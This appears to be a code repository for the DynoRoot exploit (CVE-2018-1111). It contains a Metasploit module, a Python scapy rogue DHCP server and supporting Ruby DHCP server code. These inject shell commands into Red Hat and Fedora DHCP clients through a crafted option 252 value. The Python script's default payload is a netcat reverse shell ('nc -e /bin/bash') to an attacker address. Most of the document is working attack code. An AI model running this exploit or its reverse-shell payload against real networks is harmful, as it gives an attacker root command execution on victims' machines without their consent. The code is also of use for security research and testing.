├── README.md ├── screen-shot-2018-05-18-at-09.29.56.png ├── constants.rb ├── rhel_dhcp_client_command_injection.rb ├── main.py └── server.rb /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-1111 2 | CVE-2018-1111 DynoRoot 3 | 4 | ![DynoRoot Exploit](screen-shot-2018-05-18-at-09.29.56.png) 5 | -------------------------------------------------------------------------------- /screen-shot-2018-05-18-at-09.29.56.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2018-1111/HEAD/screen-shot-2018-05-18-at-09.29.56.png -------------------------------------------------------------------------------- /constants.rb: -------------------------------------------------------------------------------- 1 | # -*- coding: binary -*- 2 | require 'rex/proto/dhcp' 3 | 4 | module Rex 5 | module Proto 6 | module DHCP 7 | 8 | Request = 1 9 | Response = 2 10 | 11 | DHCPDiscover = 1 12 | DHCPOffer = 2 13 | DHCPRequest = 3 14 | DHCPAck = 5 15 | 16 | DHCPMagic = "\x63\x82\x53\x63" 17 | 18 | OpDHCPServer = 0x36 19 | OpLeaseTime = 0x33 20 | OpSubnetMask = 1 21 | OpRouter = 3 22 | OpDomainName = 15 23 | OpDns = 6 24 | OpHostname = 0x0c 25 | OpURL = 0x72 26 | OpProxyAutodiscovery = 0xfc 27 | OpEnd = 0xff 28 | 29 | PXEMagic = "\xF1\x00\x74\x7E" 30 | OpPXEMagic = 0xD0 31 | OpPXEConfigFile = 0xD1 32 | OpPXEPathPrefix = 0xD2 33 | OpPXERebootTime = 0xD3 34 | 35 | end 36 | end 37 | end 38 | -------------------------------------------------------------------------------- /rhel_dhcp_client_command_injection.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex/proto/dhcp' 8 | 9 | class MetasploitModule < Msf::Exploit::Remote 10 | Rank = ExcellentRanking 11 | 12 | include Msf::Exploit::Remote::DHCPServer 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'DHCP Client Command Injection (DynoRoot)', 17 | 'Description' => %q| 18 | This module exploits the DynoRoot vulnerability, a flaw in how the 19 | NetworkManager integration script included in the DHCP client in 20 | Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier 21 | processes DHCP options. A malicious DHCP server, or an attacker on 22 | the local network able to spoof DHCP responses, could use this flaw 23 | to execute arbitrary commands with root privileges on systems using 24 | NetworkManager and configured to obtain network configuration using 25 | the DHCP protocol. 26 | |, 27 | 'Author' => 28 | [ 29 | 'Felix Wilhelm', # Vulnerability discovery 30 | 'Kevin Kirsche ' # Metasploit module 31 | ], 32 | 'License' => MSF_LICENSE, 33 | 'Platform' => ['unix'], 34 | 'Arch' => ARCH_CMD, 35 | 'References' => 36 | [ 37 | ['CVE', '2018-1111'], 38 | ['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'], 39 | ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'], 40 | ['URL', 'https://dynoroot.ninja/'], 41 | ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'], 42 | ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111'] 43 | ], 44 | 'Payload' => 45 | { 46 | # 255 for a domain name, minus some room for encoding 47 | 'Space' => 200, 48 | 'DisableNops' => true, 49 | 'Compat' => 50 | { 51 | 'PayloadType' => 'cmd', 52 | } 53 | }, 54 | 'Targets' => [ [ 'Automatic Target', { }] ], 55 | 'DefaultTarget' => 0, 56 | 'DisclosureDate' => 'May 15 2018' 57 | )) 58 | 59 | deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') 60 | end 61 | 62 | def exploit 63 | hash = datastore.copy 64 | start_service(hash) 65 | puts payload 66 | @dhcp.set_option(proxy_auto_discovery: "x'&#{payload.encoded} #") 67 | 68 | begin 69 | while @dhcp.thread.alive? 70 | sleep 2 71 | end 72 | ensure 73 | stop_service 74 | end 75 | end 76 | end 77 | 78 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Exploit Title: DynoRoot DHCP Client Command Injection 5 | # Date: May 18, 2018 6 | # Exploit Author: Kevin Kirsche (d3c3pt10n) 7 | # Exploit Repository: https://github.com/kkirsche/CVE-2018-1111 8 | # Exploit Discoverer: Felix Wilhelm (@_fel1x on twitter) 9 | # Exploit Webpage: https://dynoroot.ninja 10 | # Vendor Homepage: https://www.redhat.com/ 11 | # Version: RHEL 6.x / 7.x and CentOS 6.x/7.x 12 | # Versions affected per RHEL release, not validated on RHEL / CentOS 6.x 13 | # as such, it may not function on this version 14 | # Tested on: 15 | # * CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4 16 | # * Fedora Linux 27 (Workstation Edition) / NetworkManager 2.29-6.fc27 17 | # CVE : CVE-2018-1111 18 | 19 | from argparse import ArgumentParser 20 | from scapy.all import BOOTP_am, DHCP 21 | from scapy.base_classes import Net 22 | 23 | 24 | class DynoRoot(BOOTP_am): 25 | function_name = "dhcpd" 26 | 27 | def make_reply(self, req): 28 | resp = BOOTP_am.make_reply(self, req) 29 | if DHCP in req: 30 | dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1])) 31 | for op in req[DHCP].options 32 | if isinstance(op, tuple) and op[0] == "message-type"] 33 | dhcp_options += [("server_id", self.gw), 34 | ("domain", self.domain), 35 | ("router", self.gw), 36 | ("name_server", self.gw), 37 | ("broadcast_address", self.broadcast), 38 | ("subnet_mask", self.netmask), 39 | ("renewal_time", self.renewal_time), 40 | ("lease_time", self.lease_time), 41 | (252, "x'&{payload} #".format(payload=self.payload)), 42 | "end" 43 | ] 44 | resp /= DHCP(options=dhcp_options) 45 | return resp 46 | 47 | 48 | if __name__ == '__main__': 49 | parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit') 50 | 51 | parser.add_argument('-i', '--interface', default='eth0', type=str, 52 | dest='interface', 53 | help='The interface to listen for DHCP requests on (default: eth0)') 54 | parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str, 55 | dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)') 56 | parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str, 57 | dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)') 58 | parser.add_argument('-d', '--domain', default='victim.net', type=str, 59 | dest='domain', help='Domain to assign (default: victim.net)') 60 | parser.add_argument('-r', '--renewal-time', default=600, type=int, 61 | dest='renewal_time', help='The DHCP lease renewal interval (default: 600)') 62 | parser.add_argument('-l', '--lease-time', default=3600, type=int, 63 | dest='lease_time', help='The DHCP lease duration (default: 3600)') 64 | parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str, 65 | dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)') 66 | 67 | args = parser.parse_args() 68 | server = DynoRoot(iface=args.interface, domain=args.domain, 69 | pool=Net(args.subnet), 70 | network=args.subnet, 71 | gw=args.gateway, 72 | renewal_time=args.renewal_time, 73 | lease_time=args.lease_time) 74 | server.payload = args.payload 75 | 76 | server() 77 | -------------------------------------------------------------------------------- /server.rb: -------------------------------------------------------------------------------- 1 | # -*- coding: binary -*- 2 | 3 | require 'rex/socket' 4 | require 'rex/proto/dhcp' 5 | 6 | module Rex 7 | module Proto 8 | module DHCP 9 | 10 | ## 11 | # 12 | # DHCP Server class 13 | # not completely configurable - written specifically for a PXE server 14 | # - scriptjunkie 15 | # 16 | # extended to support testing/exploiting CVE-2011-0997 17 | # - apconole@yahoo.com 18 | ## 19 | 20 | class Server 21 | 22 | include Rex::Socket 23 | 24 | def initialize(hash, context = {}) 25 | self.listen_host = '0.0.0.0' # clients don't already have addresses. Needs to be 0.0.0.0 26 | self.listen_port = 67 # mandatory (bootps) 27 | self.context = context 28 | self.sock = nil 29 | 30 | self.myfilename = hash['FILENAME'] || "" 31 | self.myfilename << ("\x00" * (128 - self.myfilename.length)) 32 | 33 | source = hash['SRVHOST'] || Rex::Socket.source_address 34 | self.ipstring = Rex::Socket.addr_aton(source) 35 | 36 | ipstart = hash['DHCPIPSTART'] 37 | if ipstart 38 | self.start_ip = Rex::Socket.addr_atoi(ipstart) 39 | else 40 | # Use the first 3 octects of the server's IP to construct the 41 | # default range of x.x.x.32-254 42 | self.start_ip = "#{self.ipstring[0..2]}\x20".unpack("N").first 43 | end 44 | self.current_ip = start_ip 45 | 46 | ipend = hash['DHCPIPEND'] 47 | if ipend 48 | self.end_ip = Rex::Socket.addr_atoi(ipend) 49 | else 50 | # Use the first 3 octects of the server's IP to construct the 51 | # default range of x.x.x.32-254 52 | self.end_ip = "#{self.ipstring[0..2]}\xfe".unpack("N").first 53 | end 54 | 55 | # netmask 56 | netmask = hash['NETMASK'] || "255.255.255.0" 57 | self.netmaskn = Rex::Socket.addr_aton(netmask) 58 | 59 | # router 60 | router = hash['ROUTER'] || source 61 | self.router = Rex::Socket.addr_aton(router) 62 | 63 | # dns 64 | dnsserv = hash['DNSSERVER'] || source 65 | self.dnsserv = Rex::Socket.addr_aton(dnsserv) 66 | 67 | # broadcast 68 | if hash['BROADCAST'] 69 | self.broadcasta = Rex::Socket.addr_aton(hash['BROADCAST']) 70 | else 71 | self.broadcasta = Rex::Socket.addr_itoa( self.start_ip | (Rex::Socket.addr_ntoi(self.netmaskn) ^ 0xffffffff) ) 72 | end 73 | 74 | self.served = {} 75 | self.serveOnce = hash.include?('SERVEONCE') 76 | 77 | self.servePXE = (hash.include?('PXE') or hash.include?('FILENAME') or hash.include?('PXEONLY')) 78 | self.serveOnlyPXE = hash.include?('PXEONLY') 79 | 80 | # Always assume we don't give out hostnames ... 81 | self.give_hostname = false 82 | self.served_over = 0 83 | if (hash['HOSTNAME']) 84 | self.give_hostname = true 85 | self.served_hostname = hash['HOSTNAME'] 86 | if ( hash['HOSTSTART'] ) 87 | self.served_over = hash['HOSTSTART'].to_i 88 | end 89 | end 90 | 91 | self.leasetime = 600 92 | self.relayip = "\x00\x00\x00\x00" # relay ip - not currently suported 93 | self.pxeconfigfile = "update2" 94 | self.pxealtconfigfile = "update0" 95 | self.pxepathprefix = "" 96 | self.pxereboottime = 2000 97 | 98 | self.domain_name = hash['DOMAINNAME'] || nil 99 | self.url = hash['URL'] if hash.include?('URL') 100 | end 101 | 102 | def report(&block) 103 | self.reporter = block 104 | end 105 | 106 | # Start the DHCP server 107 | def start 108 | self.sock = Rex::Socket::Udp.create( 109 | 'LocalHost' => listen_host, 110 | 'LocalPort' => listen_port, 111 | 'Context' => context 112 | ) 113 | 114 | self.thread = Rex::ThreadFactory.spawn("DHCPServerMonitor", false) { 115 | monitor_socket 116 | } 117 | end 118 | 119 | # Stop the DHCP server 120 | def stop 121 | self.thread.kill 122 | self.served = {} 123 | self.sock.close rescue nil 124 | end 125 | 126 | 127 | # Set an option 128 | def set_option(opts) 129 | allowed_options = [ 130 | :serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv, 131 | :pxeconfigfile, :pxepathprefix, :pxereboottime, :router, :proxy_auto_discovery, 132 | :give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url 133 | ] 134 | 135 | opts.each_pair { |k,v| 136 | next if not v 137 | if allowed_options.include?(k) 138 | self.instance_variable_set("@#{k}", v) 139 | end 140 | } 141 | end 142 | 143 | 144 | # Send a single packet to the specified host 145 | def send_packet(ip, pkt) 146 | port = 68 # bootpc 147 | if ip 148 | self.sock.sendto( pkt, ip, port ) 149 | else 150 | if not self.sock.sendto( pkt, '255.255.255.255', port ) 151 | self.sock.sendto( pkt, self.broadcasta, port ) 152 | end 153 | end 154 | end 155 | 156 | attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv 157 | attr_accessor :domain_name, :proxy_auto_discovery 158 | attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce 159 | attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn 160 | attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE 161 | attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url 162 | 163 | protected 164 | 165 | 166 | # See if there is anything to do.. If so, dispatch it. 167 | def monitor_socket 168 | while true 169 | rds = [@sock] 170 | wds = [] 171 | eds = [@sock] 172 | 173 | r,_,_ = ::IO.select(rds,wds,eds,1) 174 | 175 | if (r != nil and r[0] == self.sock) 176 | buf,host,port = self.sock.recvfrom(65535) 177 | # Lame compatabilitiy :-/ 178 | from = [host, port] 179 | dispatch_request(from, buf) 180 | end 181 | 182 | end 183 | end 184 | 185 | def dhcpoption(type, val = nil) 186 | ret = '' 187 | ret << [type].pack('C') 188 | 189 | if val 190 | ret << [val.length].pack('C') + val 191 | end 192 | 193 | ret 194 | end 195 | 196 | # Dispatch a packet that we received 197 | def dispatch_request(from, buf) 198 | type = buf.unpack('C').first 199 | if (type != Request) 200 | #dlog("Unknown DHCP request type: #{type}") 201 | return 202 | end 203 | 204 | # parse out the members 205 | _hwtype = buf[1,1] 206 | hwlen = buf[2,1].unpack("C").first 207 | _hops = buf[3,1] 208 | _txid = buf[4..7] 209 | _elapsed = buf[8..9] 210 | _flags = buf[10..11] 211 | clientip = buf[12..15] 212 | _givenip = buf[16..19] 213 | _nextip = buf[20..23] 214 | _relayip = buf[24..27] 215 | _clienthwaddr = buf[28..(27+hwlen)] 216 | servhostname = buf[44..107] 217 | _filename = buf[108..235] 218 | magic = buf[236..239] 219 | 220 | if (magic != DHCPMagic) 221 | #dlog("Invalid DHCP request - bad magic.") 222 | return 223 | end 224 | 225 | messageType = 0 226 | pxeclient = false 227 | 228 | # options parsing loop 229 | spot = 240 230 | while (spot < buf.length - 3) 231 | optionType = buf[spot,1].unpack("C").first 232 | break if optionType == 0xff 233 | 234 | optionLen = buf[spot + 1,1].unpack("C").first 235 | optionValue = buf[(spot + 2)..(spot + optionLen + 1)] 236 | spot = spot + optionLen + 2 237 | if optionType == 53 238 | messageType = optionValue.unpack("C").first 239 | elsif optionType == 150 or (optionType == 60 and optionValue.include? "PXEClient") 240 | pxeclient = true 241 | end 242 | end 243 | 244 | # don't serve if only serving PXE and not PXE request 245 | return if pxeclient == false and self.serveOnlyPXE == true 246 | 247 | # prepare response 248 | pkt = [Response].pack('C') 249 | pkt << buf[1..7] #hwtype, hwlen, hops, txid 250 | pkt << "\x00\x00\x00\x00" #elapsed, flags 251 | pkt << clientip 252 | 253 | # if this is somebody we've seen before, use the saved IP 254 | if self.served.include?( buf[28..43] ) 255 | pkt << Rex::Socket.addr_iton(self.served[buf[28..43]][0]) 256 | else # otherwise go to next ip address 257 | self.current_ip += 1 258 | if self.current_ip > self.end_ip 259 | self.current_ip = self.start_ip 260 | end 261 | self.served.merge!( buf[28..43] => [ self.current_ip, messageType == DHCPRequest ] ) 262 | pkt << Rex::Socket.addr_iton(self.current_ip) 263 | end 264 | pkt << self.ipstring #next server ip 265 | pkt << self.relayip 266 | pkt << buf[28..43] #client hw address 267 | pkt << servhostname 268 | pkt << self.myfilename 269 | pkt << magic 270 | pkt << "\x35\x01" #Option 271 | 272 | if messageType == DHCPDiscover #DHCP Discover - send DHCP Offer 273 | pkt << [DHCPOffer].pack('C') 274 | # check if already served an Ack based on hw addr (MAC address) 275 | # if serveOnce & PXE, don't reply to another PXE request 276 | # if serveOnce & ! PXE, don't reply to anything 277 | if self.serveOnce == true and self.served.has_key?(buf[28..43]) and 278 | self.served[buf[28..43]][1] and (pxeclient == false or self.servePXE == false) 279 | return 280 | end 281 | elsif messageType == DHCPRequest #DHCP Request - send DHCP ACK 282 | pkt << [DHCPAck].pack('C') 283 | # now we ignore their discovers (but we'll respond to requests in case a packet was lost) 284 | if ( self.served_over != 0 ) 285 | # NOTE: this is sufficient for low-traffic net 286 | # for high-traffic, this will probably lead to 287 | # hostname collision 288 | self.served_over += 1 289 | end 290 | else 291 | return # ignore unknown DHCP request 292 | end 293 | 294 | # Options! 295 | pkt << dhcpoption(OpProxyAutodiscovery, self.proxy_auto_discovery) if self.proxy_auto_discovery 296 | pkt << dhcpoption(OpDHCPServer, self.ipstring) 297 | pkt << dhcpoption(OpLeaseTime, [self.leasetime].pack('N')) 298 | pkt << dhcpoption(OpSubnetMask, self.netmaskn) 299 | pkt << dhcpoption(OpRouter, self.router) 300 | pkt << dhcpoption(OpDns, self.dnsserv) 301 | pkt << dhcpoption(OpDomainName, self.domain_name) 302 | 303 | if self.servePXE # PXE options 304 | pkt << dhcpoption(OpPXEMagic, PXEMagic) 305 | # We already got this one, serve localboot file 306 | if self.serveOnce == true and self.served.has_key?(buf[28..43]) and 307 | self.served[buf[28..43]][1] and pxeclient == true 308 | pkt << dhcpoption(OpPXEConfigFile, self.pxealtconfigfile) 309 | else 310 | # We are handing out an IP and our PXE attack 311 | if(self.reporter) 312 | self.reporter.call(buf[28..43],self.ipstring) 313 | end 314 | pkt << dhcpoption(OpPXEConfigFile, self.pxeconfigfile) 315 | end 316 | pkt << dhcpoption(OpPXEPathPrefix, self.pxepathprefix) 317 | pkt << dhcpoption(OpPXERebootTime, [self.pxereboottime].pack('N')) 318 | if ( self.give_hostname == true ) 319 | send_hostname = self.served_hostname 320 | if ( self.served_over != 0 ) 321 | # NOTE : see above comments for the 'uniqueness' of this value 322 | send_hostname += self.served_over.to_s 323 | end 324 | pkt << dhcpoption(OpHostname, send_hostname) 325 | end 326 | end 327 | pkt << dhcpoption(OpURL, self.url) if self.url 328 | pkt << dhcpoption(OpEnd) 329 | 330 | #pkt << ("\x00" * 32) #padding 331 | 332 | # And now we mark as requested 333 | self.served[buf[28..43]][1] = true if messageType == DHCPRequest 334 | 335 | send_packet(nil, pkt) 336 | end 337 | 338 | end 339 | 340 | end 341 | end 342 | end 343 | --------------------------------------------------------------------------------